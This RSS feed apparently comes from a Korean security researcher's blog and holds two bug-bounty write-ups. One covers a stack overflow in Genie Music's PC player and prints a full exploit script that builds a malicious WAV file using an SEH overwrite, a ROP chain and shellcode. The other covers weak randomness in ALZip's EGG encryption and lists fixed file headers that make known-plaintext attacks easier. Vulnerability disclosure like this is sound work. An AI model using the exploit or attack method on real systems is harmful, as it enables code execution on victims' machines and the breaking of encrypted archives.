<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
    <channel>
        <title>soo_sudo.log</title>
        <link>https://velog.io/</link>
        <description>Hacker</description>
        <lastBuildDate>Sat, 02 Sep 2023 08:29:01 GMT</lastBuildDate>
        <docs>https://validator.w3.org/feed/docs/rss2.html</docs>
        <generator>https://github.com/jpmonette/feed</generator>
        <image>
            <title>soo_sudo.log</title>
            <url>https://velog.velcdn.com/images/soo_sudo/profile/da555968-bea1-47cf-806a-86f21942f5d1/social_profile.png</url>
            <link>https://velog.io/</link>
        </image>
        <copyright>Copyright (C) 2019. soo_sudo.log. All rights reserved.</copyright>
        <atom:link href="https://v2.velog.io/rss/soo_sudo" rel="self" type="application/rss+xml"/>
        <item>
            <title><![CDATA[KVE-2019-1498 분석]]></title>
            <link>https://velog.io/@soo_sudo/KVE-2019-1498-%EB%B6%84%EC%84%9D</link>
            <guid>https://velog.io/@soo_sudo/KVE-2019-1498-%EB%B6%84%EC%84%9D</guid>
            <pubDate>Sat, 02 Sep 2023 08:29:01 GMT</pubDate>
            <description><![CDATA[<h2 id="취약점-요약">취약점 요약</h2>
<p>공격자에 의해 특수하게 조작된 WAV파일을 지니뮤직 PC플레이어로 열면 공격자가 원하는 코드를 실행 가능합니다.</p>
<h2 id="영향-받는-버전">영향 받는 버전</h2>
<ul>
<li><p>지니 PC플레이어 1.1.2.15 (이외 버전에선 테스트 하지 않음.)</p>
</li>
<li><p>최신버전은 1.1.2.17 버전으로, 취약점이 패치된지 오랜시간이 지나 악용가능성이 낮다고 판단하여 공개합니다. </p>
</li>
</ul>
<h2 id="취약점-설명">취약점 설명</h2>
<p> WAV파일의 청크를 파싱하는 과정에서, chunkID 가 “data” 가 아닌 경우 chunkSize만큼 스택에 fread를 통해 적재하게 되는데 이때 파싱을 위해 스택에 선언한 변수의 크기는 아래 그림과 같이 128바이트 입니다.</p>
<p><img src="https://velog.velcdn.com/images/soo_sudo/post/581b6b36-9256-49f9-8eda-48f6a6260aca/image.png" alt=""></p>
<p><img src="https://velog.velcdn.com/images/soo_sudo/post/3bfe6983-8b10-43c3-8530-285f2bdfbfee/image.png" alt=""></p>
<p>정상적인 WAV파일 이라면 data청크를 제외한 청크의 크기는 작은 편이라 대부분의 경우 문제가 되지 않지만, 특수하게 조작하여 아래 그림과 같이 chunkSize가 128 이상이라면 스택 버퍼 오버플로가 발생하게 됩니다.</p>
<p><img src="https://velog.velcdn.com/images/soo_sudo/post/454a3b5f-ff1d-42f1-9b8d-fbf0da1363b6/image.png" alt=""></p>
<h2 id="exploit">Exploit</h2>
<p>취약점이 발생하는 메인 바이너리(<code>geniemusic.exe</code>) 는 스택쿠키, ASLR, NX가 적용되어 있습니다. 한편 메인 바이너리에서 사용하는 <code>sqlite3.dll</code> 에는 ASLR, NX, SafeSEH 등의 보호기법이 적용되어 있지 않습니다.</p>
<p><img src="https://velog.velcdn.com/images/soo_sudo/post/430c8a42-8b29-44eb-96ef-d1e3c3e97943/image.png" alt=""></p>
<p><img src="https://velog.velcdn.com/images/soo_sudo/post/d8b00003-ad5d-46cf-a091-00da4cda6c2e/image.png" alt=""></p>
<p>스택쿠기를 우회하기 위해서는 SEH Overwrite를 하면 되는데, ASLR이 적용되어 있지 않은 <code>sqlite3.dll</code>에 적당한 가젯이 없어 조금 해맸습니다.</p>
<p>SEH 익셉션이 났을때, ESP를 원래대로 돌리기 위해 <code>sqlite3.dll</code>에 있는 <code>&lt;add esp,0x71C [...] ret&gt;</code> 가젯을 사용하였습니다. </p>
<p>환경에 따라 익셉션이 났을때의 스택과 원래 스택간의 거리 차이를 고려하여 RET 슬렌딩 역시 사용하였고, 이로 인해 대부분의 환경에서 거의 예외없이 익스플로잇이 성공합니다.</p>
<p>한편, fread에서 단순히 많은 양을 스택에 읽도록 하여도 Access Violation이 일어나지 않을 수 있는데, chunkSize를 0x8000에서 0x10000까지 0x100 만큼 늘려가면서 총 128개의 청크를 작성하여, 거의 예외 없이 스택을 다써, Access Violation이 반드시 일어나게끔 익스플로잇을 작성하였습니다.</p>
<p>아래는 Exploit 진행 과정입니다.</p>
<p>SEH가 덮혀 0x61e6b62e의 주소로 EIP가 바뀐 모습:
<img src="https://velog.velcdn.com/images/soo_sudo/post/c9b5e0d4-f22d-45e0-854b-c78a386057b8/image.png" alt=""></p>
<p>RET 슬렌딩이 진행중인 모습:
<img src="https://velog.velcdn.com/images/soo_sudo/post/840e2a5b-c237-4a0a-b4c9-5bd473cf0afb/image.png" alt=""></p>
<p>RET슬렌딩 이후 스택에 ROP체인이 들어간 모습:
<img src="https://velog.velcdn.com/images/soo_sudo/post/5f26a8c4-77f9-4d93-b335-ec663cea76ad/image.png" alt=""></p>
<p>스택에 Execute 권한이 부여되어 정상적으로 쉘코드가 실행되는 모습:
<img src="https://velog.velcdn.com/images/soo_sudo/post/2bb32b17-3247-4da3-9877-5c9978f39cc4/image.png" alt=""></p>
<p>전체 Exploit 코드 (당시 KISA에 제출한 Exploit 그대로이며, Python2로 작성되었습니다.) : </p>
<pre><code class="language-python">### make_ex.py
from struct import *
p32 = lambda x : pack(&#39;&lt;L&#39;, x)
u32 = lambda x : unpack(&#39;&lt;L&#39;, x)[0]

f = open(&quot;ex_real@@@.wav&quot;,&quot;wb&quot;)


rop_gadgets = [0x61e34d4a,  # POP EDX // RETN [sqlite3.dll] 
      0x61ea130c,  # ptr to &amp;VirtualProtect() [IAT sqlite3.dll]
      0x61e03605,  # MOV EAX,DWORD PTR DS:[EDX] // POP EBP // RETN [sqlite3.dll] 
      0x41414141,  # Filler (compensate)

      0x61e34207,  # # PUSH EAX # POP EBX # POP ESI # POP EBP # RETN    ** [sqlite3.dll] ** 
      0x00000000,  # ESI ---&gt; 0
      0x41414142,  # Temp?     
      0x61e8a4bc,  # # ADD ESI,EBX # RETN    ** [sqlite3.dll] **   |   {PAGE_EXECUTE_READ}

      0x61e2f59b,  # POP EBP // RETN [sqlite3.dll] 
      0x61e787e4,  # &amp; push esp // ret 0x04 [sqlite3.dll]
      0x61e8a25d,  # POP EBX // RETN [sqlite3.dll] 
      0x00000201,  # 0x00000201-&gt; ebx
      0x61e34d4a,  # POP EDX // RETN [sqlite3.dll] 
      0x00000040,  # 0x00000040-&gt; edx
      0x61e8a6e8,  # POP ECX // RETN [sqlite3.dll] 
      0x61ea181f,  # &amp;Writable location [sqlite3.dll]
      0x61e8a6b5,  # POP EDI // RETN [sqlite3.dll] 
      0x61e89941,  # RETN (ROP NOP) [sqlite3.dll]
      0x61e06256,  # POP EAX // RETN [sqlite3.dll] 
      0x90909090,  # nop
      0x61e21d2d,  # PUSHAD // ADD AL,89 // RETN [sqlite3.dll]
]
shellcode = &quot;\x31\xD2\x52\x68\x63\x61\x6C\x63\x54\x59\x52\x51\x64\x8B\x72\x30\x8B\x76\x0C\x8B\x76\x0C\xAD\x8B\x30\x8B\x7E\x18\x8B\x5F\x3C\x8B\x5C\x1F\x78\x8B\x74\x1F\x20\x01\xFE\x8B\x54\x1F\x24\x0F\xB7\x2C\x17\x42\x42\xAD\x81\x3C\x07\x57\x69\x6E\x45\x75\xF0\x8B\x74\x1F\x1C\x01\xFE\x03\x3C\xAE\xFF\xD7&quot;
ex_code = &quot;&quot;
#RET Sled
ex_code += p32(0x61e6b63a)*(0x3ac / 4)
#Pop-RET
ex_code += p32(0x61e6b639)
#add esp,0x71C // mov eax,ebx // pop ebx // pop esi // pop edi // pop ebp // ret
ex_code += p32(0x61e6b62e) #Seh.
for i in rop_gadgets:
    ex_code += p32(i)
ex_code += shellcode


### Header
f.write(&quot;\x52\x49\x46\x46\x98\x35\x00\x00\x57\x41\x56\x45\x66\x6D\x74\x20\x10\x00\x00\x00\x01\x00\x01\x00\xEF\x56\x00\x00\xEF\x56\x00\x01\x00\x08\x00d&quot;)
#Chunk

for i in xrange(0x8000,0x10000, 0x100):
    #Chunk
    data = &quot;hell&quot;
    data += p32(i)
    data += ex_code
    data += &quot;A&quot;*(i - len(ex_code) )
    f.write(data)
f.close()</code></pre>
<p><img src="https://velog.velcdn.com/images/soo_sudo/post/f240e8a2-56f5-4706-8700-7a670412e729/image.gif" alt=""></p>
<h2 id="보상금">보상금</h2>
<p>210만원 받았습니다. 맛있는거 사먹었습니다.</p>
]]></description>
        </item>
        <item>
            <title><![CDATA[KVE-2018-0713 분석]]></title>
            <link>https://velog.io/@soo_sudo/KVE-2018-0713-%EB%B6%84%EC%84%9D</link>
            <guid>https://velog.io/@soo_sudo/KVE-2018-0713-%EB%B6%84%EC%84%9D</guid>
            <pubDate>Sat, 02 Sep 2023 08:28:44 GMT</pubDate>
            <description><![CDATA[<h2 id="취약점-요약">취약점 요약</h2>
<p>알집에서 EGG 파일에 암호를 설정할 때, 난수로 채워져야 하는 부분이 잘못된 타입 캐스팅 때문에 항상 0 또는 1로 결정되는 취약점으로, 이로 인해 난수로 채워지는 부분에 대해 256^10의 경우의 수가 발생해야 하는데, 실제로는 2^10의 경우의 수만 발생하게 되어, Known Plaintext Attack에 대한 공격 복잡도가 크게 감소합니다. 또한 기본옵션인 “최적압축” 옵션으로 특정 확장자(docx, pptx, xlsx, png, 7z, gz 등.) 의 파일이 같이 압축될 시에는 공격의 복잡도가 추가로 감소합니다.</p>
<h2 id="영향-받는-버전">영향 받는 버전</h2>
<ul>
<li><p>알집 8.0.5.0 ~ 10.81 </p>
</li>
<li><p>최신버전은 12.17 버전으로, 취약점이 패치된지 오랜시간이 지나 악용가능성이 낮다고 판단하여 공개합니다. </p>
<h2 id="영향-받는-파일">영향 받는 파일</h2>
</li>
<li><p>알집 8.0.5.0 ~ 10.81 버전으로 압축된 암호가 걸린 EGG 파일 (기본옵션으로 압축된 경우) </p>
</li>
</ul>
<h2 id="취약점-설명">취약점 설명</h2>
<p>EGG 파일은 압축파일에 비밀번호를 설정했을 때 아래 3가지 옵션을 지원합니다.</p>
<ul>
<li>Zip 2.0 Compatible (기본값)</li>
<li>AES-128</li>
<li>AES-256</li>
</ul>
<p>이 중 <code>Zip 2.0 Compatible</code> 옵션은 ZipCrypto 혹은 PKZip StreamCipher 라고 불리는 암호를 의미하며, Zip 파일에서도 사용됩니다.</p>
<p>해당 암호의 간단한 Python 구현은 아래와 같습니다.</p>
<pre><code class="language-python">class PKZIPStreamCipher:
    def __init__(self, password):
        self.keys = [0x12345678, 0x23456789, 0x34567890]
        for char in password:
            self.update_keys(char)

    def update_keys(self, char):
        self.keys[0] = self.crc32(self.keys[0], char)
        self.keys[1] = (self.keys[1] + (self.keys[0] &amp; 0xFF)) &amp; 0xFFFFFFFF
        self.keys[1] = (self.keys[1] * 0x08088405 + 1) &amp; 0xFFFFFFFF
        self.keys[2] = self.crc32(self.keys[2], self.keys[1] &gt;&gt; 24)

    def crc32(self, old_crc, char):

        POLY = 0xedb88320
        crc = old_crc ^ char
        for _ in range(8):
            if crc &amp; 1:
                crc = (crc &gt;&gt; 1) ^ POLY
            else:
                crc &gt;&gt;= 1
        return crc &amp; 0xFFFFFFFF

    def decrypt_byte(self):
        temp = (self.keys[2] &amp; 0xFFFF) | 2
        return ((temp * (temp ^ 1)) &gt;&gt; 8) &amp; 0xFF

    def encrypt(self, plaintext):
        ciphertext = []
        for char in plaintext:
            k = char ^ self.decrypt_byte()
            self.update_keys(char)
            ciphertext.append(k)
        return bytes(ciphertext)

    def decrypt(self, ciphertext):
        plaintext = []
        for char in ciphertext:
            k = char ^ self.decrypt_byte()
            self.update_keys(k)
            plaintext.append(k)
        return bytes(plaintext)


password = b&quot;452345gedH&quot;
cipher = PKZIPStreamCipher(password)
encrypted_data = cipher.encrypt(b&quot;\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x7B\x74&quot;)
print(encrypted_data)
</code></pre>
<p>구현에서 보는 바와 같이 태생이 스트림 암호이기 때문에, 압축파일에서 사용할 때는 실제 데이터 암호화에 앞서 무작위한 값 12바이트(혹은 무작위 값 10바이트 + 2바이트 CRC로 구성될 수 있음.) 를 암호화 한 후 사용합니다. (<a href="https://github.com/mcmilk/7-Zip/blob/master/CPP/7zip/Crypto/ZipCrypto.cpp">참고 : 7-zip의 해당 부분 구현</a>)</p>
<p>이 암호는 1994년 Biham 과 Kocher에 의해 Known plaintext attack에 취약함이 알려졌습니다. 하지만 해당 공격에서 이야기하는 평문은 압축된 데이터이기 때문에, 데이터를 압축(Deflate 등) 해서 저장하였다면, 특정 파일 전체를 아는것이 아닐 경우, 파일 헤더등 파일 내용의 일부를 알아도 공격이 쉽지 않습니다.</p>
<p>한편, 알집으로 압축할 때, EGG 포맷에서는 &quot;최적압축&quot;이 기본옵션인데, 이 기능은 확장자 별로 압축 알고리즘을 다르게 적용하는 기능입니다.
(개인적으로 이 기능은 확장자가 아니라 파일의 엔트로피값을 이용하여 구현하여야 한다고 생각합니다.)</p>
<table>
<thead>
<tr>
<th>알고리즘</th>
<th>확장자</th>
</tr>
</thead>
<tbody><tr>
<td>LZMA</td>
<td>.ppt, .xls, .doc, .ani, .ico, .cur, .pcx, .emf,</td>
</tr>
<tr>
<td>AZO</td>
<td>.sys, .com,</td>
</tr>
<tr>
<td>Store</td>
<td>.ace, .alz, .arc, .arj, .bz, .bz2, .cab, .egg, .ice, .ear, .war, .gz, .ha, .jar, .lha, .lzh, .pak, .rar, .tbz, .tbz2, .tgz, .7z, .z, .zip, .zoo, .docx, .xlsx, .pptx, .jpg, .jpeg, .png, .gif, .ape, .mp4, .mov, .flac, .flv, .mp3, .ogg, .wma, .wmv</td>
</tr>
<tr>
<td>Deflate</td>
<td>나머지</td>
</tr>
</tbody></table>
<p>이 중 Store는 압축 없이 저장하는 것을 의미합니다.</p>
<p>Store로 압축하는 확장자중에서는 고정된 헤더를 쓰는 파일이 많으며, 정리하면 아래와 같습니다.</p>
<table>
<thead>
<tr>
<th>확장자</th>
<th>고정된헤더</th>
</tr>
</thead>
<tbody><tr>
<td>ace</td>
<td>-</td>
</tr>
<tr>
<td>alz</td>
<td>41 4C 5A 01 0A 00 00 00 42 4C 5A 01 (12바이트)</td>
</tr>
<tr>
<td>arc</td>
<td>1A 02 (2바이트) 또는 <br />1A 03 (2바이트) 또는 <br />1A 04 (2바이트) 또는 <br />1A 08 (2바이트) 또는 <br />1A  09 (2바이트)</td>
</tr>
<tr>
<td>arj</td>
<td>-</td>
</tr>
<tr>
<td>bz</td>
<td>-</td>
</tr>
<tr>
<td>bz2</td>
<td>42 5A 68 39 31 41 59 26 53 59 (10바이트)</td>
</tr>
<tr>
<td>cab</td>
<td>-</td>
</tr>
<tr>
<td>egg</td>
<td>45 47 47 41 00 01 (6바이트)</td>
</tr>
<tr>
<td>ice</td>
<td>-</td>
</tr>
<tr>
<td>ear</td>
<td>-</td>
</tr>
<tr>
<td>war</td>
<td>-</td>
</tr>
<tr>
<td>gz</td>
<td>1F 8B 08 00 00 00 00 00 00 03 (10바이트)</td>
</tr>
<tr>
<td>ha</td>
<td>-</td>
</tr>
<tr>
<td>jar</td>
<td>50 4B 03 04 (4바이트)</td>
</tr>
<tr>
<td>lha</td>
<td>-</td>
</tr>
<tr>
<td>lzh</td>
<td>-</td>
</tr>
<tr>
<td>pak</td>
<td>-</td>
</tr>
<tr>
<td>rar</td>
<td>52 61 72 21 1A 07 00 (7바이트)</td>
</tr>
<tr>
<td>tbz</td>
<td>-</td>
</tr>
<tr>
<td>tbz2</td>
<td>-</td>
</tr>
<tr>
<td>tgz</td>
<td>1F 8B 08 00 27 A5 4F 5A 00 03 (10바이트)</td>
</tr>
<tr>
<td>7z</td>
<td>37 7A BC AF 27 1C 00 03 (8바이트) 또는<br />37 7A BC AF 27 1C 00 04 (8바이트)</td>
</tr>
<tr>
<td>z</td>
<td>1F 9D 90 (3바이트)</td>
</tr>
<tr>
<td>zip</td>
<td>50 4B 03 04 (4바이트)</td>
</tr>
<tr>
<td>zoo</td>
<td>5A 4F 4F 20 (4바이트)</td>
</tr>
<tr>
<td>pptx, docx, xlsx</td>
<td>50 4B 03 04 14 00 06 00 08 00 00 00 21 00 (14바이트)</td>
</tr>
<tr>
<td>jpg</td>
<td>FF D8 FF DB (4바이트) 또는<br />FF D8 FF E0 00 10 4A 46 49 46 00 01(12바이트) 또는<br />FF D8 FF E1 (4바이트)</td>
</tr>
<tr>
<td>jpeg</td>
<td>jpg와 동일</td>
</tr>
<tr>
<td>png</td>
<td>89 50 4E 47 0D 0A 1A 0A 00 00 00 0D 49 48 44 52 (16바이트)</td>
</tr>
<tr>
<td>gif</td>
<td>47 49 46 38 39 61 (6바이트) 또는<br />47 49 46 38 39 61 (6바이트)</td>
</tr>
<tr>
<td>ape</td>
<td>-</td>
</tr>
<tr>
<td>mp4</td>
<td>00 00 00 18 66 74 79 70 (8바이트) 또는<br />33 67 70 35 (4바이트)</td>
</tr>
<tr>
<td></td>
<td></td>
</tr>
<tr>
<td>mov</td>
<td>6D 64 61 74 (4바이트)</td>
</tr>
<tr>
<td>flac</td>
<td>66 4C 61 43 00 00 00 22 (4바이트)</td>
</tr>
<tr>
<td>flv</td>
<td>46 4C 56 01 (4바이트)</td>
</tr>
<tr>
<td>mp3</td>
<td>49 44 33 (3바이트)</td>
</tr>
<tr>
<td>ogg</td>
<td>4F 67 67 53 (4바이트)</td>
</tr>
<tr>
<td>wma, wmv</td>
<td>30 26 B2 75 8E 66 CF (7바이트) 또는<br />30 26 B2 75 8E 66 CF 11 A6 D9 00 AA 00 62 CE 6C  (16바이트)</td>
</tr>
</tbody></table>
<p><img src="https://velog.velcdn.com/images/soo_sudo/post/002529e7-f29a-417f-9bbf-74adc87a66a7/image.png" alt=""></p>
<p>한편, 무작위한 데이터를 넣어야 할 부분을 분석하여 보면, rand() 함수가 사용되는 것을 알 수 있습니다.</p>
<p>이것 자체로도 문제가 있지만, 잘못된 type-casting 으로 인해, <code>(rand() % 0x7fff)</code> 의 MSB 비트만 남게 되어, 경우의수가 크게 감소합니다.</p>
<p>따라서 ZIP Plaintext Attack 의 전제조건인 파일의 일부 내용을 알 필요 없이도 Known Plaintext attack이 가능합니다.</p>
<p>또한 위에서 설명한 &quot;최적압축&quot; 기능 때문에 일부 확장자의 파일이 같이 압축된 경우, 공격에 소요되는 시간을 크게 단축시킬 수 있습니다.</p>
<h2 id="poc">POC</h2>
<h3 id="파일-내용을-아주-조금-알-수-있는-경우-7z">파일 내용을 아주 조금 알 수 있는 경우 (7z)</h3>
<p><img src="https://velog.velcdn.com/images/soo_sudo/post/79ad969d-a75f-48b4-bcdc-95c5dd6fc708/image.gif" alt=""></p>
<h3 id="파일-내용을-조금-알-수-있는-경우-pptx">파일 내용을 조금 알 수 있는 경우 (pptx)</h3>
<p><img src="https://velog.velcdn.com/images/soo_sudo/post/f84abb73-3dc8-4c3b-9d7a-3f5ad02eaeac/image.gif" alt=""></p>
<h3 id="파일-내용을-전혀-모르는-경우-txt">파일 내용을 전혀 모르는 경우 (txt)</h3>
<p><img src="https://velog.velcdn.com/images/soo_sudo/post/355d48ff-f66f-4808-9d90-cdfa46748b43/image.gif" alt=""></p>
<h2 id="주저리주저리">주저리주저리</h2>
<p>이 취약점은 제가 처음으로 버그바운티를 통해 보상금을 받은 취약점입니다. </p>
<p>보상금으로는 270만원을 받았는데, 당시 고등학교 2학년이였던 저에겐 꽤 큰 돈이였습니다.</p>
<p>보상금은 몇달 뒤에 모스크바에서 열린 한 해킹대회의 본선에 참여할 때 여행경비로 잘 썼습니다.</p>
<p>슬프게도 당시의 보고서와 POC코드를 분실했습니다.ㅜㅜ</p>
<p>남아있는 영상과 프로그램을 바탕으로 글을 작성했습니다.</p>
]]></description>
        </item>
    </channel>
</rss>